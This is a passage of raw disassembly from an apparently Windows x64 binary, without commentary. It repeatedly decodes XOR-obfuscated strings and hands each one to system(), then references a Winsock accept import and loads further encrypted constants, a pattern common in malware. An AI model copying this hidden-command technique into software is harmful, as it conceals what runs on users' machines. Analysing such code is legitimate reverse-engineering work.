call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x38fc]
lea rcx, [rbp + 0x8e]
mov byte [rbp + 0x8e], al
call fcn.14007e670
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140069511
mov r8d, esi
cmp r15d, 2
jl 0x1400694d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x1400693e0
cmp r8d, 0x2d
jge 0x140069511
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x1400694e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x367e]
lea rcx, [rbp + 0x8f]
mov byte [rbp + 0x8f], al
call fcn.14007e6b0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x140069691
mov r8d, esi
cmp r15d, 2
jl 0x140069653
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140069560
cmp r8d, 0x25
jge 0x140069691
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x140069660
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x35ca]
lea rcx, [rbp + 0x90]
mov byte [rbp + 0x90], al
call fcn.14007e6e0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140069811
mov r8d, esi
cmp r15d, 2
jl 0x1400697d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400696e0
cmp r8d, 0x24
jge 0x140069811
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x1400697e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x35ee]
lea rcx, [rbp + 0x91]
mov byte [rbp + 0x91], al
call fcn.14007e710
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140069991
mov r8d, esi
cmp r15d, 2
jl 0x140069953
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140069860
cmp r8d, 0x24
jge 0x140069991
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140069960
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3612]
lea rcx, [rbp + 0x92]
mov byte [rbp + 0x92], al
call fcn.14007e740
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140069b11
mov r8d, esi
cmp r15d, 2
jl 0x140069ad3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400699e0
cmp r8d, 0x24
jge 0x140069b11
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140069ae0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3636]
lea rcx, [rbp + 0x93]
mov byte [rbp + 0x93], al
call fcn.14007e770
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140069c91
mov r8d, esi
cmp r15d, 2
jl 0x140069c53
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140069b60
cmp r8d, 0x24
jge 0x140069c91
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140069c60
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4779]
lea rcx, [rbp + 0x94]
mov byte [rbp + 0x94], al
call fcn.14007e7a0
mov r10, rax
cmp byte [rax + 0x3d], 0
je 0x140069e11
mov r8d, esi
cmp r15d, 2
jl 0x140069dd3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140069ce0
cmp r8d, 0x3e
jge 0x140069e11
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x3e
jl 0x140069de0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4e80]
lea rcx, [rbp + 0x95]
mov byte [rbp + 0x95], al
call fcn.14007e7f0
mov r10, rax
cmp byte [rax + 0x40], 0
je 0x140069f91
mov r8d, esi
cmp r15d, 2
jl 0x140069f53
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x140069e60
cmp r8d, 0x41
jge 0x140069f91
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x140069f60
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4700]
lea rcx, [rbp + 0x96]
mov byte [rbp + 0x96], al
call fcn.14007e830
mov r10, rax
cmp byte [rax + 0x3b], 0
je 0x14006a111
mov r8d, esi
cmp r15d, 2
jl 0x14006a0d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140069fe0
cmp r8d, 0x3c
jge 0x14006a111
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x3c
jl 0x14006a0e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3d95]
lea rcx, [rbp + 0x97]
mov byte [rbp + 0x97], al
call fcn.14007e870
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14006a291
mov r8d, esi
cmp r15d, 2
jl 0x14006a253
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14006a160
cmp r8d, 0x32
jge 0x14006a291
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14006a260
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4160]
lea rcx, [rbp + 0x98]
mov byte [rbp + 0x98], al
call fcn.14007e8a0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14006a411
mov r8d, esi
cmp r15d, 2
jl 0x14006a3d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14006a2e0
cmp r8d, 0x34
jge 0x14006a411
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14006a3e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3541]
lea rcx, [rbp + 0x99]
mov byte [rbp + 0x99], al
call fcn.14007e8d0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14006a591
mov r8d, esi
cmp r15d, 2
jl 0x14006a553
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006a460
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x14006a560
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x44f8]
lea rcx, [rbp + 0x9a]
mov byte [rbp + 0x9a], al
call fcn.14007e900
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14006a703
mov r8d, esi
cmp r15d, 2
jl 0x14006a6cd
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x36a3]
lea rcx, [rbp + 0x9b]
mov byte [rbp + 0x9b], al
call fcn.14007e940
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14006a881
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007a6f1
xor eax, eax
movabs rcx, 0x959974d34b3349b0
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x340a3d6e8c8e0b3c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6160], rax
movabs rax, 0x3ffbdbf1369ce41
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6168], rax
movabs rax, 0xc6789980fe843766
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6170], rax
movabs rax, 0x1afbdcd141ca972b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6178], rax
movabs rax, 0xb034a69c8d0d261e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
